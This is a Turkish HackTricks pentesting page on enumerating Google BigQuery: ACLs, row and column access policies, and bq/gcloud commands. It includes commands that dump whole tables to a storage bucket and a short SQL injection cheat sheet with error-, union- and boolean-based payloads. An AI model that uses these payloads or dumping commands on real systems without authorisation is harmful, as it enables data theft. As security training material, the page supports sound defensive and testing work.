GCP - Bigquery Enum

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Google Cloud BigQuery, tamamen yönetilen, sunucusuz kurumsal veri ambarıdır ve büyük ölçekli veri kümelerini verimli bir şekilde işleyerek petabaytlarca veri üzerinde analiz imkanı sunar. Platform olarak Hizmet (PaaS) olarak, kullanıcılara veri yönetimini kolaylaştırmak için altyapı ve araçlar sağlar ve manuel denetim gerektirmez.

ANSI SQL kullanarak sorgulamayı destekler. Ana nesneler, veri içeren tabloları içeren veri kümeleridir.

Şifreleme

Varsayılan olarak Google tarafından yönetilen şifreleme anahtarı kullanılır, ancak Müşteri tarafından yönetilen şifreleme anahtarı (CMEK) yapılandırmak mümkündür. Bir veri kümesi ve veri kümesi içindeki bir tablo için şifreleme anahtarı belirtmek mümkündür.

Süresi Dolmuş

Veri kümesinde bir süresi dolmuş zaman belirtmek mümkündür, böylece bu veri kümesinde oluşturulan her yeni tablo, oluşturulduktan belirtilen gün sayısı sonra otomatik olarak silinir.

Harici Kaynaklar

Bigquery, diğer Google hizmetleriyle derinlemesine entegredir. Verileri kovalardan, pub/sub, google drive, RDS veritabanlarından yüklemek mümkündür...

Veri Kümesi ACL'leri

Bir veri kümesi oluşturulduğunda, üzerine erişim vermek için ACL'ler eklenir. Varsayılan olarak, veri kümesini oluşturan kullanıcı üzerinde Sahip ayrıcalıkları verilir ve ardından projenin Sahipleri grubuna (Projenin Sahipleri), Yazıcı projenin Yazarları grubuna ve Okuyucu projenin Okuyucuları grubuna sahip olur.

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Tablo Satırlarının Erişimini Kontrol Etme

Tablo içinde bir ilkenin erişebileceği satırları kontrol etmek mümkündür. Bu satır erişim politikaları kullanılarak tanımlanır. Bunlar, tablo içinde DDL kullanılarak tanımlanır. Erişim politikası bir filtre tanımlar ve yalnızca o filtreye uyan satırlar belirtilen ilkenin erişimine açık olacaktır.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Sütun Erişim Kontrolü

Veri erişimini sütun düzeyinde kısıtlamak için şu adımları izleyebilirsiniz:

  1. Bir sınıflandırma ve politika etiketi tanımlayın. Verileriniz için bir sınıflandırma ve politika etiketi oluşturun ve yönetin. https://console.cloud.google.com/bigquery/policy-tags

  2. İsteğe bağlı: Bir veya daha fazla ilkeye Data Catalog Fine-Grained Reader rolü verin ve oluşturduğunuz politika etiketlerinden bir veya daha fazlasını kullanın.

  3. BigQuery sütunlarına politika etiketleri atayın. BigQuery'de, erişimi kısıtlamak istediğiniz her sütuna bir politika etiketi atamak için şema açıklamalarını kullanın.

  4. Sınıflandırmada erişim kontrolünü uygulayın. Erişim kontrolünü uygulamak, sınıflandırmadaki tüm politika etiketleri için tanımlanan erişim kısıtlamalarının uygulanmasını sağlar.

  5. Politika etiketlerinde erişimi yönetin. Her politika etiketine erişimi kısıtlamak için Kimlik ve Erişim Yönetimi (IAM) politikalarını kullanın. Politika, politika etiketine ait her sütun için etkilidir.

Kullanıcı sorgu zamanında sütun verilerine erişmeye çalıştığında, BigQuery kullanıcının verilere erişim izninin olup olmadığını kontrol etmek için sütun politika etiketini ve ilkesini kontrol eder.

Özetle, belirli kullanıcılara bazı sütunlara erişimi kısıtlamak için şemada bir etiket ekleyebilir ve kullanıcıların erişimini etikete kısıtlayabilirsiniz ve sınıflandırmadaki erişim kontrolünü uygulayabilirsiniz.

Sınıflandırmada erişim kontrolünü uygulamak için hizmetin etkinleştirilmesi gerekmektedir:

gcloud services enable bigquerydatapolicy.googleapis.com

Sütunların etiketlerini görmek mümkündür:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Numaralandırma

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Enjeksiyonu

Daha fazla bilgi için blog yazısına göz atabilirsiniz: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Burada sadece bazı detaylar verilecek.

Yorumlar:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Ancak sadece başlangıç olan çalışmayacak

  • select 1--from here it is not working

Çevre hakkında bilgi alın:

  • Geçerli kullanıcı: select session_user()

  • Proje kimliği: select @@project_id

Veri kümeleri, tablolar ve sütun adlarını alın:

  • Proje ve veri kümesi adı:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Aynı proje içindeki diğer veri kümeleri:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

SQL Injection türleri:

  • Hata tabanlı - dönüştürme: select CAST(@@project_id AS INT64)

  • Hata tabanlı - sıfıra bölme: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Birleşim tabanlı: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Mantık tabanlı: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potansiyel zaman tabanlı - Genel veri kümeleri kullanımı örneği: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Belgeler:

Yetki Yükseltme ve Son Saldırı

pageGCP - BigQuery Privesc

Kalıcılık

pageGCP - BigQuery Persistence

Referanslar

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated